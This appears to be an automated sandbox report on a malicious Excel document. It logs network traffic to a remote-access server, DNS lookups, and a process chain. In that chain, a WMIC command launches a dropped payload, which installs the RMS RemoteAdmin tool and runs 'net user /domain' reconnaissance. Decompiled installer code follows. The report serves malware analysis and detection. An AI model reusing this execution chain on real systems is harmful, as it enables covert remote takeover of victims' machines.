Jun 30, 2021 20:08:24.839622021 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.839704037 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.839719057 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.839862108 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.839931965 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.840029955 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.860399008 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.936099052 CEST	5655	49755	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.938254118 CEST	49755	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.942239046 CEST	49755	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.942513943 CEST	49755	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:25.034766912 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.034796000 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.034809113 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.034986973 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:25.035067081 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:25.035089970 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.035104990 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.035180092 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.035197020 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:25.035222054 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:25.035265923 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:25.035407066 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.035423040 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.035645008 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.035681009 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.035693884 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.035705090 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:25.104140997 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.138109922 CEST	5655	49755	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.141726017 CEST	5655	49755	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.141762018 CEST	5655	49755	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.141913891 CEST	49755	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:25.231700897 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.231729031 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.231744051 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.231758118 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.231775045 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.232381105 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.237180948 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.251024961 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:08:25.251055956 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:08:25.252185106 CEST	49739	5655	192.168.2.3	192.119.14.178
Jun 30, 2021 20:08:25.256861925 CEST	49756	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:25.277199984 CEST	5655	49755	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.277225971 CEST	5655	49755	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.279201984 CEST	49755	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:25.281872034 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:25.435158014 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.439169884 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.440083027 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:25.452164888 CEST	5655	49756	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.452352047 CEST	49756	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:25.454833984 CEST	49756	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:25.454874992 CEST	49756	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:25.458060026 CEST	5655	49755	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.458400965 CEST	49755	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:25.458426952 CEST	49755	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:25.550678968 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:25.650212049 CEST	5655	49756	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.654025078 CEST	5655	49756	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.654067039 CEST	5655	49756	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.654090881 CEST	5655	49755	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:25.654196978 CEST	49756	5655	192.168.2.3	198.147.28.34

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 30, 2021 20:05:46.117209911 CEST	64938	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:05:46.177112103 CEST	53	64938	8.8.8.8	192.168.2.3
Jun 30, 2021 20:05:47.600712061 CEST	60152	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:05:47.661948919 CEST	53	60152	8.8.8.8	192.168.2.3
Jun 30, 2021 20:05:48.531138897 CEST	57544	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:05:48.577275038 CEST	53	57544	8.8.8.8	192.168.2.3
Jun 30, 2021 20:05:48.671127081 CEST	55984	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:05:48.728204012 CEST	53	55984	8.8.8.8	192.168.2.3
Jun 30, 2021 20:05:51.862056017 CEST	64185	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:05:51.908802986 CEST	53	64185	8.8.8.8	192.168.2.3
Jun 30, 2021 20:05:57.026267052 CEST	65110	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:05:57.073719025 CEST	53	65110	8.8.8.8	192.168.2.3
Jun 30, 2021 20:05:58.647337914 CEST	58361	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:05:58.706109047 CEST	53	58361	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:00.140273094 CEST	63492	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:00.235780954 CEST	53	63492	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:00.717294931 CEST	60831	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:00.798783064 CEST	53	60831	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:01.499814034 CEST	60100	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:01.549230099 CEST	53	60100	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:01.731004953 CEST	60831	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:01.802043915 CEST	53	60831	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:02.729671955 CEST	60831	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:02.789596081 CEST	53	60831	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:03.693516016 CEST	53195	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:03.751179934 CEST	53	53195	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:04.745522976 CEST	60831	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:04.807270050 CEST	53	60831	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:04.826039076 CEST	50141	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:04.874999046 CEST	53	50141	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:07.509063959 CEST	53023	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:07.603307962 CEST	53	53023	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:07.604737997 CEST	49563	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:07.654263020 CEST	53	49563	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:08.985605001 CEST	60831	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:09.051980972 CEST	53	60831	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:10.991655111 CEST	51352	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:11.038969040 CEST	53	51352	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:13.837141037 CEST	59349	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:13.884057999 CEST	53	59349	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:15.354717970 CEST	57084	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:15.404977083 CEST	53	57084	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:18.735688925 CEST	58823	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:18.792793989 CEST	53	58823	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:19.384958029 CEST	57568	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:19.442143917 CEST	53	57568	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:20.335853100 CEST	50540	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:20.381855011 CEST	53	50540	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:21.206192017 CEST	54366	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:21.266690969 CEST	53	54366	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:22.317672014 CEST	53034	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:22.364187002 CEST	53	53034	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:23.497736931 CEST	57762	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:23.545697927 CEST	53	57762	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:29.792836905 CEST	55435	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:29.857554913 CEST	53	55435	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:40.051939011 CEST	50713	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:40.111974955 CEST	53	50713	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:40.626617908 CEST	56132	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:40.687241077 CEST	53	56132	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:49.682568073 CEST	58987	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:49.742058039 CEST	53	58987	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:55.366902113 CEST	56579	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:55.414963007 CEST	53	56579	8.8.8.8	192.168.2.3
Jun 30, 2021 20:06:57.610958099 CEST	60633	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:06:57.670176983 CEST	53	60633	8.8.8.8	192.168.2.3
Jun 30, 2021 20:07:27.702929974 CEST	61292	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:07:27.765393972 CEST	53	61292	8.8.8.8	192.168.2.3
Jun 30, 2021 20:07:40.818829060 CEST	63619	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:07:40.867377043 CEST	53	63619	8.8.8.8	192.168.2.3
Jun 30, 2021 20:07:45.204821110 CEST	64938	53	192.168.2.3	8.8.8.8
Jun 30, 2021 20:07:45.275567055 CEST	53	64938	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 30, 2021 20:06:07.509063959 CEST	192.168.2.3	8.8.8.8	0x6247	Standard query (0)	etisalatbuyback.com	A (IP address)	IN (0x0001)
Jun 30, 2021 20:06:49.682568073 CEST	192.168.2.3	8.8.8.8	0x61ee	Standard query (0)	id70.remoteutilities.com	A (IP address)	IN (0x0001)
Jun 30, 2021 20:06:55.366902113 CEST	192.168.2.3	8.8.8.8	0x9afd	Standard query (0)	id70.remoteutilities.com	A (IP address)	IN (0x0001)
Jun 30, 2021 20:07:40.818829060 CEST	192.168.2.3	8.8.8.8	0xd78a	Standard query (0)	id70.remoteutilities.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jun 30, 2021 20:06:07.603307962 CEST	8.8.8.8	192.168.2.3	0x6247	No error (0)	etisalatbuyback.com	212.2.198.90	A (IP address)	IN (0x0001)
Jun 30, 2021 20:06:49.742058039 CEST	8.8.8.8	192.168.2.3	0x61ee	No error (0)	id70.remoteutilities.com	209.205.218.178	A (IP address)	IN (0x0001)
Jun 30, 2021 20:06:55.414963007 CEST	8.8.8.8	192.168.2.3	0x9afd	No error (0)	id70.remoteutilities.com	209.205.218.178	A (IP address)	IN (0x0001)
Jun 30, 2021 20:07:40.867377043 CEST	8.8.8.8	192.168.2.3	0xd78a	No error (0)	id70.remoteutilities.com	209.205.218.178	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jun 30, 2021 20:06:07.826231956 CEST	212.2.198.90	443	192.168.2.3	49720	CN=etisalatbuyback.com, OU=Domain Control Validated CN=Starfield Secure Certificate Authority - G2, OU=http://certs.starfieldtech.com/repository/, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Starfield Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	CN=Starfield Secure Certificate Authority - G2, OU=http://certs.starfieldtech.com/repository/, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Starfield Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Tue Jul 16 13:21:56 CEST 2019 Tue May 03 09:00:00 CEST 2011 Wed Jan 01 08:00:00 CET 2014 Tue Jun 29 19:39:16 CEST 2004	Wed Aug 25 11:11:38 CEST 2021 Sat May 03 09:00:00 CEST 2031 Fri May 30 09:00:00 CEST 2031 Thu Jun 29 19:39:16 CEST 2034	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	37f463bf4616ecd445d4a1937da06e19
					CN=Starfield Secure Certificate Authority - G2, OU=http://certs.starfieldtech.com/repository/, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Starfield Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	Tue May 03 09:00:00 CEST 2011	Sat May 03 09:00:00 CEST 2031
					CN=Starfield Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Wed Jan 01 08:00:00 CET 2014	Fri May 30 09:00:00 CEST 2031
					OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Tue Jun 29 19:39:16 CEST 2004	Thu Jun 29 19:39:16 CEST 2034

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 5412 Parent PID: 792

General

Start time:	20:05:57
Start date:	30/06/2021
Path:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Imagebase:	0xa50000
File size:	27110184 bytes
MD5 hash:	5D6638F2C8F8571C593999C58866007E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WMIC.exe PID: 6388 Parent PID: 5412

General

Start time:	20:06:10
Start date:	30/06/2021
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic process call create 'C:\Users\Public\Libraries/appscomhost'
Imagebase:	0xdf0000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 6448 Parent PID: 6388

General

Start time:	20:06:10
Start date:	30/06/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: appscomhost PID: 6596 Parent PID: 4940

General

Start time:	20:06:12
Start date:	30/06/2021
Path:	C:\Users\Public\Libraries\appscomhost
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries/appscomhost
Imagebase:	0x400000
File size:	5437775 bytes
MD5 hash:	8DF649FAB065908962626C67F247618C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low

Chronological Activities

Analysis Process: Javelin.exe PID: 6832 Parent PID: 6596

General

Start time:	20:06:18
Start date:	30/06/2021
Path:	C:\Users\Public\JavelinNew\Javelin.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\JavelinNew\Javelin.exe'
Imagebase:	0x400000
File size:	16615672 bytes
MD5 hash:	AF5879D56594F01794A2C028BC75EC27
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_RMSRemoteAdmin, Description: Yara detected RMS RemoteAdmin tool, Source: 00000008.00000002.300472994.0000000001208000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_RMSRemoteAdmin, Description: Yara detected RMS RemoteAdmin tool, Source: 00000008.00000000.273261388.0000000001208000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000008.00000002.294909755.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000008.00000000.268064699.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_RMSRemoteAdmin, Description: Yara detected RMS RemoteAdmin tool, Source: C:\Users\Public\JavelinNew\Javelin.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\Public\JavelinNew\Javelin.exe, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: Javelin.exe PID: 7128 Parent PID: 6832

General

Start time:	20:06:28
Start date:	30/06/2021
Path:	C:\Users\Public\JavelinNew\Javelin.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\JavelinNew\Javelin.exe -run_agent -second
Imagebase:	0x400000
File size:	16615672 bytes
MD5 hash:	AF5879D56594F01794A2C028BC75EC27
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_RMSRemoteAdmin, Description: Yara detected RMS RemoteAdmin tool, Source: 0000000B.00000003.311749860.000000007D910000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RMSRemoteAdmin, Description: Yara detected RMS RemoteAdmin tool, Source: 0000000B.00000003.319348250.000000007E8F0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RMSRemoteAdmin, Description: Yara detected RMS RemoteAdmin tool, Source: 0000000B.00000000.293269223.0000000001208000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_RMSRemoteAdmin, Description: Yara detected RMS RemoteAdmin tool, Source: 0000000B.00000003.324153787.000000007F8D0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000000B.00000003.315153554.000000007DEF0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000000B.00000003.320355698.000000007EED0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000000B.00000003.309591822.000000007CF10000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000000B.00000002.517622759.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000000B.00000000.288998400.0000000000401000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 6308 Parent PID: 7128

General

Start time:	20:08:00
Start date:	30/06/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe
Imagebase:	0xdf0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 4088 Parent PID: 6308

General

Start time:	20:08:01
Start date:	30/06/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: net.exe PID: 6836 Parent PID: 6308

General

Start time:	20:08:07
Start date:	30/06/2021
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net user /domain
Imagebase:	0x330000
File size:	46592 bytes
MD5 hash:	DD0561156F62BC1958CE0E370B23711B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: net1.exe PID: 6436 Parent PID: 6836

General

Start time:	20:08:07
Start date:	30/06/2021
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 user /domain
Imagebase:	0x1a0000
File size:	141312 bytes
MD5 hash:	B5A26C2BF17222E86B91D26F1247AF3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: appscomhost PID: 6596 Parent PID: 4940 appscomhostCOMMON

Execution Graph

Execution Coverage:	13.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11%
Total number of Nodes:	1977
Total number of Limit Nodes:	30

Executed Functions

Function 004034C5, Relevance: 75.7, APIs: 33, Strings: 10, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			_entry_() {
				signed int _t51;
				intOrPtr* _t56;
				short* _t62;
				void* _t65;
				void* _t67;
				int _t69;
				int _t70;
				int _t73;
				intOrPtr* _t74;
				int _t75;
				int _t77;
				void* _t101;
				signed int _t118;
				void* _t121;
				void* _t126;
				intOrPtr _t145;
				intOrPtr _t146;
				intOrPtr* _t147;
				int _t149;
				void* _t152;
				int _t153;
				signed int _t157;
				signed int _t162;
				signed int _t167;
				void* _t169;
				void* _t171;
				int* _t173;
				signed int _t179;
				signed int _t182;
				CHAR* _t183;
				void* _t190;
				void* _t194;
				void* _t195;

				_t169 = 0x20;
				_t149 = 0;
				 *(_t195 + 0x14) = 0;
				 *(_t195 + 0x10) = L"Error writing temporary file. Make sure your temp folder is valid.";
				 *(_t195 + 0x1c) = 0;
				SetErrorMode(0x8001); // executed
				_t51 = GetVersion() & 0xbfffffff;
				 *0x47af0c = _t51;
				if(_t51 != 6) {
					_t147 = E00406806(0);
					if(_t147 != 0) {
						 *_t147(0xc00);
					}
				}
				_t183 = "UXTHEME";
				goto L4;
				L8:
				__imp__#17(_t190);
				__imp__OleInitialize(_t149); // executed
				 *0x47afd8 = _t56;
				SHGetFileInfoW(0x440228, _t149, _t195 + 0x34, 0x2b4, _t149); // executed
				E00406411(0x472f00, L"NSIS Error");
				E00406411(0x4cc000, GetCommandLineW());
				 *0x47af00 = 0x400000;
				_t62 = 0x4cc000;
				if( *0x4cc000 == 0x22) {
					_t62 = 0x4cc002;
					_t169 = 0x22;
				}
				_t153 = CharNextW(E00405D13(_t62, _t169));
				 *(_t195 + 0x18) = _t153;
				_t65 =  *_t153;
				if(_t65 == _t149) {
					L33:
					GetTempPathW(0x2000, 0x4e0000);
					_t67 = E00403494(_t153, 0);
					_t223 = _t67;
					if(_t67 != 0) {
						L36:
						DeleteFileW(0x4dc000); // executed
						_t69 = E00403015(_t225,  *(_t195 + 0x1c)); // executed
						 *(_t195 + 0x10) = _t69;
						if(_t69 != _t149) {
							L48:
							ExitProcess(); // executed
							__imp__OleUninitialize(); // executed
							_t237 =  *(_t195 + 0x10) - _t149;
							if( *(_t195 + 0x10) == _t149) {
								__eflags =  *0x47afb4 - _t149;
								if( *0x47afb4 == _t149) {
									L72:
									_t70 =  *0x47afcc;
									__eflags = _t70 - 0xffffffff;
									if(_t70 != 0xffffffff) {
										 *(_t195 + 0x10) = _t70;
									}
									ExitProcess( *(_t195 + 0x10));
								}
								_t73 = OpenProcessToken(GetCurrentProcess(), 0x28, _t195 + 0x14);
								__eflags = _t73;
								if(_t73 != 0) {
									LookupPrivilegeValueW(_t149, L"SeShutdownPrivilege", _t195 + 0x20);
									 *(_t195 + 0x34) = 1;
									 *(_t195 + 0x40) = 2;
									AdjustTokenPrivileges( *(_t195 + 0x28), _t149, _t195 + 0x24, _t149, _t149, _t149);
								}
								_t74 = E00406806(4);
								__eflags = _t74 - _t149;
								if(_t74 == _t149) {
									L70:
									_t75 = ExitWindowsEx(2, 0x80040002);
									__eflags = _t75;
									if(_t75 != 0) {
										goto L72;
									}
									goto L71;
								} else {
									_t77 =  *_t74(_t149, _t149, _t149, 0x25, 0x80040002);
									__eflags = _t77;
									if(_t77 == 0) {
										L71:
										E0040140B(9);
										goto L72;
									}
									goto L70;
								}
							}
							E00405A77( *(_t195 + 0x10), 0x200010);
							ExitProcess(2);
						}
						if( *0x47af20 == _t149) {
							L47:
							 *0x47afcc =  *0x47afcc | 0xffffffff;
							 *(_t195 + 0x14) = E00403AE0( *0x47afcc);
							goto L48;
						}
						_t173 = E00405D13(0x4cc000, _t149);
						if(_t173 < 0x4cc000) {
							L44:
							_t234 = _t173 - 0x4cc000;
							 *(_t195 + 0x10) = L"Error launching installer";
							if(_t173 < 0x4cc000) {
								_t171 = E004059E2(_t237);
								lstrcatW(0x4e0000, L"~nsu");
								if(_t171 != _t149) {
									lstrcatW(0x4e0000, "A");
								}
								lstrcatW(0x4e0000, L".tmp");
								if(lstrcmpiW(0x4e0000, 0x4d8000) != 0) {
									_push(0x4e0000);
									if(_t171 == _t149) {
										E004059C5();
									} else {
										E00405948();
									}
									SetCurrentDirectoryW(0x4e0000);
									if( *0x4d0000 == _t149) {
										E00406411(0x4d0000, 0x4d8000);
									}
									E00406411(0x47c000,  *(_t195 + 0x18));
									_t154 = "A" & 0x0000ffff;
									 *0x480000 = ( *0x40a25a & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
									_t194 = 0x1a;
									do {
										E0040644E(_t149, 0x43c228, 0x4e0000, 0x43c228,  *((intOrPtr*)( *0x47af14 + 0x120)));
										DeleteFileW(0x43c228);
										if( *(_t195 + 0x10) != _t149 && CopyFileW(0x4e8000, 0x43c228, 1) != 0) {
											E004061D7(_t154, 0x43c228, _t149);
											E0040644E(_t149, 0x43c228, 0x4e0000, 0x43c228,  *((intOrPtr*)( *0x47af14 + 0x124)));
											_t101 = E004059FA(0x43c228);
											if(_t101 != _t149) {
												CloseHandle(_t101);
												 *(_t195 + 0x10) = _t149;
											}
										}
										 *0x480000 =  *0x480000 + 1;
										_t194 = _t194 - 1;
									} while (_t194 != 0);
									E004061D7(_t154, 0x4e0000, _t149);
								}
								goto L48;
							}
							 *_t173 = _t149;
							_t174 =  &(_t173[2]);
							if(E00405DEE(_t234,  &(_t173[2])) == 0) {
								goto L48;
							}
